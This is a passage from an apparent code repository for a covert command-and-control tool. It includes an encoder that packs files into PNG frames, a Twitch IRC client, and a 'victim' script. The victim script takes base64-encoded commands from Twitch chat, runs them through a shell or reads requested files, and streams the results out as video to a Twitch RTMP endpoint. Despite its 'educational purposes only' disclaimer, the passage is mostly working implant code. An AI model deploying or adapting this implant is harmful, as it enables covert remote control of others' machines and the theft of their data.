range(top, top + frame_thickness): 49 | for x in range(left, right + 1): 50 | img.putpixel((x, y), color) 51 | # Bottom border. 52 | for y in range(bottom - frame_thickness + 1, bottom + 1): 53 | for x in range(left, right + 1): 54 | img.putpixel((x, y), color) 55 | # Left border. 56 | for x in range(left, left + frame_thickness): 57 | for y in range(top, bottom + 1): 58 | img.putpixel((x, y), color) 59 | # Right border. 60 | for x in range(right - frame_thickness + 1, right + 1): 61 | for y in range(top, bottom + 1): 62 | img.putpixel((x, y), color) 63 | 64 | def draw_marker_lines(img, safe_x, safe_y, safe_width, safe_height, marker_color=MARKER_COLOR): 65 | """ 66 | Draw 1-pixel–thick marker lines along the boundary of the safe region. 67 | These markers allow the decoder to determine the actual data region. 68 | """ 69 | for x in range(safe_x, safe_x + safe_width): 70 | img.putpixel((x, safe_y), marker_color) # top 71 | img.putpixel((x, safe_y + safe_height - 1), marker_color) # bottom 72 | for y in range(safe_y, safe_y + safe_height): 73 | img.putpixel((safe_x, y), marker_color) # left 74 | img.putpixel((safe_x + safe_width - 1, y), marker_color) # right 75 | 76 | def encode_fragment(fragment_data, output_file, image_width, image_height, border, frag_index, total_fragments, file_name): 77 | # Overall safe region is the overall image minus the outer border. 78 | safe_width = image_width - 2 * border 79 | safe_height = image_height - 2 * border 80 | if safe_width <= 2 or safe_height <= (HEADER_HEIGHT + 2): 81 | raise ValueError("Image dimensions too small for chosen border and header height.") 82 | 83 | # The data region is the safe region with a 1-pixel marker rim removed. 84 | data_x = border + 1 85 | data_y = border + 1 86 | data_width = safe_width - 2 87 | data_height = safe_height - 2 88 | 89 | # Determine grid dimensions based on the minimum cell size. 90 | grid_cols = data_width // MIN_CELL 91 | grid_rows = (data_height - HEADER_HEIGHT) // MIN_CELL 92 | total_cells = grid_cols * grid_rows 93 | max_payload = total_cells // 2 # 2 nibbles per byte 94 | 95 | if len(fragment_data) > max_payload: 96 | raise ValueError("Fragment data exceeds maximum payload for one image at the chosen minimum cell size.") 97 | 98 | # Build header fixed part. 99 | header_bytes = ( 100 | len(fragment_data).to_bytes(4, 'big') + 101 | grid_cols.to_bytes(2, 'big') + 102 | grid_rows.to_bytes(2, 'big') + 103 | frag_index.to_bytes(4, 'big') + 104 | total_fragments.to_bytes(4, 'big') + 105 | border.to_bytes(1, 'big') + 106 | image_width.to_bytes(2, 'big') + 107 | image_height.to_bytes(2, 'big') 108 | ) 109 | 110 | # Build file name field: 2 bytes for length + 256 bytes for file name. 111 | file_name_bytes = os.path.basename(file_name).encode('utf-8') 112 | if len(file_name_bytes) > FILENAME_FIELD_SIZE: 113 | file_name_bytes = file_name_bytes[:FILENAME_FIELD_SIZE] 114 | file_name_field = len(file_name_bytes).to_bytes(2, 'big') + file_name_bytes.ljust(FILENAME_FIELD_SIZE, b'\0') 115 | 116 | header_bytes += file_name_field 117 | 118 | if len(header_bytes) != HEADER_BYTES: 119 | raise ValueError("Header byte count error.") 120 | 121 | # Convert header to nibble stream. 122 | header_nibbles = [] 123 | for b in header_bytes: 124 | header_nibbles.append(b >> 4) 125 | header_nibbles.append(b & 0x0F) 126 | 127 | # Convert payload to nibble stream. 128 | payload_nibbles_list = [] 129 | for byte in fragment_data: 130 | payload_nibbles_list.append(byte >> 4) 131 | payload_nibbles_list.append(byte & 0x0F) 132 | if len(payload_nibbles_list) < total_cells: 133 | payload_nibbles_list.extend([0] * (total_cells - len(payload_nibbles_list))) 134 | 135 | # Create overall image. 136 | img = Image.new("L", (image_width, image_height), color=0) 137 | draw_nested_frames(img, image_width, image_height, border, num_frames=2) 138 | safe_x = border 139 | safe_y = border 140 | draw_marker_lines(img, safe_x, safe_y, safe_width, safe_height, marker_color=MARKER_COLOR) 141 | 142 | # Draw header into the data region. 143 | header_cell_width = data_width / HEADER_NIBBLES 144 | for i, nib in enumerate(header_nibbles): 145 | cell_left = data_x + round(i * data_width / HEADER_NIBBLES) 146 | cell_right = data_x + round((i + 1) * data_width / HEADER_NIBBLES) 147 | for y in range(data_y, data_y + HEADER_HEIGHT): 148 | for x in range(cell_left, cell_right): 149 | img.putpixel((x, y), nibble_to_gray(nib)) 150 | 151 | # Draw payload grid in the data region below the header. 152 | payload_area_top = data_y + HEADER_HEIGHT 153 | for idx, nib in enumerate(payload_nibbles_list): 154 | r = idx // grid_cols 155 | c = idx % grid_cols 156 | cell_left = data_x + round(c * data_width / grid_cols) 157 | cell_right = data_x + round((c + 1) * data_width / grid_cols) 158 | cell_top = payload_area_top + round(r * (data_height - HEADER_HEIGHT) / grid_rows) 159 | cell_bottom = payload_area_top + round((r + 1) * (data_height - HEADER_HEIGHT) / grid_rows) 160 | for y in range(cell_top, cell_bottom): 161 | for x in range(cell_left, cell_right): 162 | img.putpixel((x, y), nibble_to_gray(nib)) 163 | 164 | img.save(output_file, format="PNG") 165 | print(f"Encoded fragment {frag_index}/{total_fragments} to {output_file}.") 166 | print(f"Overall image: {image_width}×{image_height} with {border}px border.") 167 | print(f"Data region: {data_width}×{data_height} (Header: {HEADER_HEIGHT}px, Grid: {grid_cols}×{grid_rows}).") 168 | print(f"Fragment payload: {len(fragment_data)} bytes.") 169 | 170 | def main(): 171 | parser = argparse.ArgumentParser( 172 | description="Optimized encoder with fragmentation support, extended file name (256 bytes), and 4-byte fragment count." 173 | ) 174 | parser.add_argument("input_file", help="Input file to encode (binary or hex string)") 175 | parser.add_argument("output_file", help="Base output PNG filename (fragment index will be appended if needed)") 176 | parser.add_argument("--image_width", type=int, default=1920, help="Overall image width (default: 1920)") 177 | parser.add_argument("--image_height", type=int, default=1080, help="Overall image height (default: 1080)") 178 | parser.add_argument("--border", type=int, default=DEFAULT_BORDER, help="Outer border thickness (default: 20)") 179 | parser.add_argument("--req_id", type=str, help="Request ID") 180 | parser.add_argument("--hex", action="store_true", help="Treat input file as a hex string") 181 | args = parser.parse_args() 182 | 183 | if args.hex: 184 | with open(args.input_file, 'r') as f: 185 | data = bytes.fromhex(f.read().strip()) 186 | else: 187 | with open(args.input_file, 'rb') as f: 188 | data = f.read() 189 | 190 | # Compute maximum payload per image. 191 | safe_width = args.image_width - 2 * args.border 192 | safe_height = args.image_height - 2 * args.border 193 | data_width = safe_width - 2 # data region width (after marker rim) 194 | data_height = safe_height - 2 # data region height (after marker rim) 195 | payload_area_height = data_height - HEADER_HEIGHT 196 | grid_cols_max = data_width // MIN_CELL 197 | grid_rows_max = payload_area_height // MIN_CELL 198 | total_cells = grid_cols_max * grid_rows_max 199 | max_payload = total_cells // 2 # 2 nibbles per byte 200 | print(f"Maximum payload per image: {max_payload} bytes (Data region: {data_width}×{payload_area_height}).") 201 | 202 | total_data_len = len(data) 203 | total_fragments = math.ceil(total_data_len / max_payload) 204 | print(f"Total input data: {total_data_len} bytes, requiring {total_fragments} fragment(s).") 205 | 206 | # Use original file name from input path. 207 | orig_file_name = os.path.basename(args.input_file) 208 | 209 | for frag_index in range(1, total_fragments + 1): 210 | start = (frag_index - 1) * max_payload 211 | end = start + max_payload 212 | fragment_data = data[start:end] 213 | if total_fragments > 1: 214 | base, ext = os.path.splitext(args.output_file) 215 | out_file = f"{base}_{frag_index:03d}{ext}" 216 | else: 217 | out_file = args.output_file 218 | encode_fragment(fragment_data, out_file, args.image_width, args.image_height, args.border, 219 | frag_index, total_fragments, orig_file_name) 220 | 221 | if __name__ == "__main__": 222 | main() 223 | -------------------------------------------------------------------------------- /victim/example.env: -------------------------------------------------------------------------------- 1 | # Once credentials are set up, rename this file to .env 2 | # Go to https://twitchapps.com/tmi/ to get your oauth token 3 | # Credit: https://github.com/xenova/twitch-chat-irc 4 | NICK=username 5 | PASS=oauth:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 6 | -------------------------------------------------------------------------------- /victim/twitch_chat_irc.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Credit: https://github.com/xenova/twitch-chat-irc 3 | ''' 4 | 5 | import socket, re, json, argparse, emoji, csv 6 | from decouple import config 7 | 8 | class DefaultUser(Exception): 9 | """Raised when you try send a message with the default user""" 10 | pass 11 | 12 | class CallbackFunction(Exception): 13 | """Raised when the callback function does not have (only) one required positional argument""" 14 | pass 15 | 16 | class TwitchChatIRC(): 17 | __HOST = 'irc.chat.twitch.tv' 18 | __DEFAULT_NICK = 'justinfan67420' 19 | __DEFAULT_PASS = 'SCHMOOPIIE' 20 | __PORT = 6667 21 | 22 | __PATTERN = re.compile(r'@(.+?(?=\s+:)).*PRIVMSG[^:]*:([^\r\n]*)') 23 | 24 | __CURRENT_CHANNEL = None 25 | 26 | def __init__(self, username = None, password = None): 27 | # try get from environment variables (.env) 28 | self.__NICK = config('NICK', self.__DEFAULT_NICK) 29 | self.__PASS = config('PASS', self.__DEFAULT_PASS) 30 | 31 | # overwrite if specified 32 | if(username is not None): 33 | self.__NICK = username 34 | if(password is not None): 35 | self.__PASS = 'oauth:'+str(password).lstrip('oauth:') 36 | 37 | # create new socket 38 | self.__SOCKET = socket.socket() 39 | 40 | # start connection 41 | self.__SOCKET.connect((self.__HOST, self.__PORT)) 42 | print('Connected to',self.__HOST,'on port',self.__PORT) 43 | 44 | # log in 45 | self.__send_raw('CAP REQ :twitch.tv/tags') 46 | self.__send_raw('PASS ' + self.__PASS) 47 | self.__send_raw('NICK ' + self.__NICK) 48 | 49 | def __send_raw(self, string): 50 | self.__SOCKET.send((string+'\r\n').encode('utf-8')) 51 | 52 | def __print_message(self, message): 53 | print('['+message['tmi-sent-ts']+']',message['display-name']+':',emoji.demojize(message['message']).encode('utf-8').decode('utf-8','ignore')) 54 | 55 | def __recvall(self, buffer_size): 56 | data = b'' 57 | while True: 58 | part = self.__SOCKET.recv(buffer_size) 59 | data += part 60 | if len(part) < buffer_size: 61 | break 62 | return data.decode('utf-8')#,'ignore' 63 | 64 | def __join_channel(self,channel_name): 65 | channel_lower = channel_name.lower() 66 | 67 | if(self.__CURRENT_CHANNEL != channel_lower): 68 | self.__send_raw('JOIN #{}'.format(channel_lower)) 69 | self.__CURRENT_CHANNEL = channel_lower 70 | 71 | def is_default_user(self): 72 | return self.__NICK == self.__DEFAULT_NICK 73 | 74 | def close_connection(self): 75 | self.__SOCKET.close() 76 | print('Connection closed') 77 | 78 | def listen(self, channel_name, messages = [], timeout=None, message_timeout=1.0, on_message = None, buffer_size = 4096, message_limit = None, output=None): 79 | self.__join_channel(channel_name) 80 | self.__SOCKET.settimeout(message_timeout) 81 | 82 | if(on_message is None): 83 | on_message = self.__print_message 84 | 85 | print('Begin retrieving messages:') 86 | 87 | time_since_last_message = 0 88 | readbuffer = '' 89 | try: 90 | while True: 91 | try: 92 | new_info = self.__recvall(buffer_size) 93 | readbuffer += new_info 94 | 95 | if('PING :tmi.twitch.tv' in readbuffer): 96 | self.__send_raw('PONG :tmi.twitch.tv') 97 | 98 | matches = list(self.__PATTERN.finditer(readbuffer)) 99 | 100 | if(matches): 101 | time_since_last_message = 0 102 | 103 | if(len(matches) > 1): 104 | matches = matches[:-1] # assume last one is incomplete 105 | 106 | last_index = matches[-1].span()[1] 107 | readbuffer = readbuffer[last_index:] 108 | 109 | for match in matches: 110 | data = {} 111 | for item in match.group(1).split(';'): 112 | keys = item.split('=',1) 113 | data[keys[0]]=keys[1] 114 | data['message'] = match.group(2) 115 | 116 | messages.append(data) 117 | 118 | if(callable(on_message)): 119 | try: 120 | on_message(data) 121 | except TypeError: 122 | raise Exception('Incorrect number of parameters for function '+on_message.__name__) 123 | 124 | if(message_limit is not None and len(messages) >= message_limit): 125 | return messages 126 | 127 | except socket.timeout: 128 | if(timeout != None): 129 | time_since_last_message += message_timeout 130 | 131 | if(time_since_last_message >= timeout): 132 | print('No data received in',timeout,'seconds. Timing out.') 133 | break 134 | 135 | except KeyboardInterrupt: 136 | print('Interrupted by user.') 137 | 138 | except Exception as e: 139 | print('Unknown Error:',e) 140 | raise e 141 | 142 | return messages 143 | 144 | def send(self, channel_name, message): 145 | self.__join_channel(channel_name) 146 | 147 | # check that is using custom login, not default 148 | if(self.is_default_user()): 149 | raise DefaultUser 150 | else: 151 | self.__send_raw('PRIVMSG #{} :{}'.format(channel_name.lower(),message)) 152 | print('Sent "{}" to {}'.format(message,channel_name)) 153 | 154 | 155 | if __name__ == '__main__': 156 | parser = argparse.ArgumentParser(description='Send and receive Twitch chat messages over IRC with python web sockets. For more info, go to https://dev.twitch.tv/docs/irc/guide') 157 | 158 | parser.add_argument('channel_name', help='Twitch channel name (username)') 159 | parser.add_argument('-timeout','-t', default=None, type=float, help='time in seconds needed to close connection after not receiving any new data (default: None = no timeout)') 160 | parser.add_argument('-message_timeout','-mt', default=1.0, type=float, help='time in seconds between checks for new data (default: 1 second)') 161 | parser.add_argument('-buffer_size','-b', default=4096, type=int, help='buffer size (default: 4096 bytes = 4 KB)') 162 | parser.add_argument('-message_limit','-l', default=None, type=int, help='maximum amount of messages to get (default: None = unlimited)') 163 | 164 | parser.add_argument('-username','-u', default=None, help='username (default: None)') 165 | parser.add_argument('-oauth', '-password','-p', default=None, help='oath token (default: None). Get custom one from https://twitchapps.com/tmi/') 166 | 167 | parser.add_argument('--send', action='store_true', help='send mode (default: False)') 168 | parser.add_argument('-output','-o', default=None, help='output file (default: None = print to standard output)') 169 | 170 | args = parser.parse_args() 171 | 172 | twitch_chat_irc = TwitchChatIRC(username=args.username,password=args.oauth) 173 | 174 | if(args.send): 175 | if(twitch_chat_irc.is_default_user()): 176 | print('Unable to send messages with default user. Please provide valid authentication.') 177 | else: 178 | try: 179 | while True: 180 | message = input('>>> Enter message (blank to exit): \n') 181 | if(not message): 182 | break 183 | twitch_chat_irc.send(args.channel_name, message) 184 | except KeyboardInterrupt: 185 | print('\nInterrupted by user.') 186 | 187 | else: 188 | messages = twitch_chat_irc.listen( 189 | args.channel_name, 190 | timeout=args.timeout, 191 | message_timeout=args.message_timeout, 192 | buffer_size=args.buffer_size, 193 | message_limit=args.message_limit) 194 | 195 | if(args.output != None): 196 | if(args.output.endswith('.json')): 197 | with open(args.output, 'w') as fp: 198 | json.dump(messages, fp) 199 | elif(args.output.endswith('.csv')): 200 | with open(args.output, 'w', newline='',encoding='utf-8') as fp: 201 | fieldnames = [] 202 | for message in messages: 203 | fieldnames+=message.keys() 204 | 205 | if(len(messages)>0): 206 | fc = csv.DictWriter(fp,fieldnames=list(set(fieldnames))) 207 | fc.writeheader() 208 | fc.writerows(messages) 209 | else: 210 | f = open(args.output,'w', encoding='utf-8') 211 | for message in messages: 212 | print('['+message['tmi-sent-ts']+']',message['display-name']+':',message['message'],file=f) 213 | f.close() 214 | 215 | print('Finished writing',len(messages),'messages to',args.output) 216 | 217 | twitch_chat_irc.close_connection() 218 | -------------------------------------------------------------------------------- /victim/victim.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Developed by Anıl Çelik (@ccelikanil) and Emre Odaman (@eodaman), the use of this tool is restricted to educational purposes only. The developers do not assume any responsibility and do not accept any accusations in the event of misuse. 4 | 5 | import argparse 6 | import base64 7 | import subprocess 8 | import time 9 | import os 10 | import glob 11 | from PIL import Image 12 | 13 | from twitch_chat_irc import TwitchChatIRC # provided IRC module 14 | 15 | # --- FFmpeg Command --- 16 | FFMPEG_CMD = ( 17 | 'ffmpeg -framerate 1/10 -pattern_type glob -i "*.png" -vf "fps=30" ' 18 | '-c:v libx264 -preset veryslow -crf 0 -pix_fmt gray output.mp4' 19 | ) 20 | 21 | def get_stream_cmd(streamkey): 22 | """Return the ffmpeg streaming command with the provided stream key.""" 23 | return ( 24 | f'ffmpeg -re -i output.mp4 -vf "fps=30,format=gray" ' 25 | f'-c:v libx264 -preset veryslow -crf 0 -g 60 ' 26 | f'-f flv rtmp://live.twitch.tv/app/{streamkey}' 27 | ) 28 | 29 | def decode_incoming_command(message): 30 | """ 31 | Base64-decode the incoming message. 32 | Expected format: "uid:actual_command" 33 | """ 34 | try: 35 | decoded = base64.b64decode(message.encode()).decode() 36 | uid, cmd = decoded.split(":", 1) 37 | return uid, cmd.strip() 38 | except Exception as e: 39 | print("[Victim] Error decoding command:", e) 40 | return None, None 41 | 42 | def execute_system_command(command, output_file): 43 | """Execute a system command and write stdout+stderr to output_file.""" 44 | try: 45 | proc = subprocess.run(command, shell=True, capture_output=True, text=True) 46 | with open(output_file, "w") as f: 47 | f.write(proc.stdout) 48 | f.write("\n") 49 | f.write(proc.stderr) 50 | except Exception as e: 51 | with open(output_file, "w") as f: 52 | f.write(f"Error executing command: {e}") 53 | 54 | def create_blank_frame(width=1920, height=1080, filename="blank.png"): 55 | """ 56 | Create a PNG image where the left half is black and the right half is white. 57 | Since 'blank.png' sorts before any output images, it will be the first frame. 58 | """ 59 | img = Image.new("L", (width, height)) 60 | for x in range(width): 61 | for y in range(height): 62 | img.putpixel((x, y), 0 if x < width // 2 else 255) 63 | img.save(filename, format="PNG") 64 | print(f"[Victim] Blank frame created as {filename}") 65 | 66 | def encode_output_to_video(input_file, uid): 67 | """ 68 | Run encoder.py to convert the input file into one or more PNG images. 69 | This version calls encoder.py with a unique PNG base name (using uid) so that the header file name 70 | reflects the current command's UID. 71 | Then creates a blank PNG and uses the provided ffmpeg command (via glob) to create the MP4 video. 72 | """ 73 | # Generate a unique PNG output base name. 74 | encoder_output = f"{uid}_encoded.png" 75 | encoder_cmd = [ 76 | "python", "encoder.py", input_file, encoder_output, 77 | "--border", "20", "--req_id", uid 78 | ] 79 | subprocess.run(encoder_cmd, check=True) 80 | 81 | # Create the blank frame. 82 | create_blank_frame(width=1920, height=1080, filename="blank.png") 83 | 84 | # Run ffmpeg to create the video. 85 | subprocess.run(FFMPEG_CMD, shell=True, check=True) 86 | 87 | return "output.mp4" 88 | 89 | def stream_video(streamkey): 90 | """Stream the video using ffmpeg with the given stream key.""" 91 | stream_cmd = get_stream_cmd(streamkey) 92 | subprocess.run(stream_cmd, shell=True, check=True) 93 | 94 | def cleanup_files(): 95 | """Delete generated PNG and MP4 files.""" 96 | patterns = ["*.png", "output.mp4"] 97 | for pattern in patterns: 98 | for f in glob.glob(pattern): 99 | try: 100 | os.remove(f) 101 | print(f"[Victim] Deleted {f}") 102 | except Exception as e: 103 | print(f"[Victim] Error deleting {f}: {e}") 104 | 105 | def main(): 106 | parser = argparse.ArgumentParser( 107 | description="Victim: listen on Twitch IRC for commands, execute them, encode output, stream video, and cleanup." 108 | ) 109 | parser.add_argument("--channel", required=True, help="Twitch channel name to join") 110 | parser.add_argument("--streamkey", required=True, help="RTMP stream key for streaming") 111 | args = parser.parse_args() 112 | 113 | chat = TwitchChatIRC() # Using default (anonymous) credentials. 114 | processed_uids = set() # To avoid reprocessing the same command. 115 | 116 | try: 117 | while True: 118 | print("[Victim] Waiting for a command in chat...") 119 | messages = chat.listen(args.channel, timeout=60, message_limit=1) 120 | for msg in messages: 121 | text = msg.get("message", "").strip() 122 | uid, command = decode_incoming_command(text) 123 | if not uid or uid in processed_uids: 124 | continue # Skip if already processed. 125 | print(f"[Victim] Received command (ID={uid}): {command}") 126 | processed_uids.add(uid) 127 | chat.send(args.channel, "OK") 128 | 129 | # Always generate a new output file name for this command. 130 | output_file = f"{uid}_output.txt" 131 | # Remove existing file if present. 132 | if os.path.exists(output_file): 133 | os.remove(output_file) 134 | # For file requests, override output_file if the requested file exists. 135 | if command.startswith("file:"): 136 | requested_file = command[len("file:"):].strip() 137 | if os.path.exists(requested_file): 138 | output_file = requested_file 139 | else: 140 | with open(output_file, "w") as f: 141 | f.write("Requested file not found.") 142 | else: 143 | execute_system_command(command, output_file) 144 | 145 | # Encode output into video. 146 | video_file = encode_output_to_video(output_file, uid) 147 | chat.send(args.channel, "READY") 148 | print("[Victim] Sent READY; waiting for OK from attacker...") 149 | while True: 150 | resp = chat.listen(args.channel, timeout=10, message_limit=1) 151 | if any(m.get("message", "").strip() == "OK" for m in resp): 152 | print("[Victim] Received OK; starting stream.") 153 | break 154 | time.sleep(1) 155 | stream_video(args.streamkey) 156 | print("[Victim] Streaming completed. Cleaning up temporary files and awaiting next command...") 157 | cleanup_files() 158 | except KeyboardInterrupt: 159 | print("\n[Victim] Exiting.") 160 | finally: 161 | chat.close_connection() 162 | 163 | if __name__ == "__main__": 164 | main() 165 | --------------------------------------------------------------------------------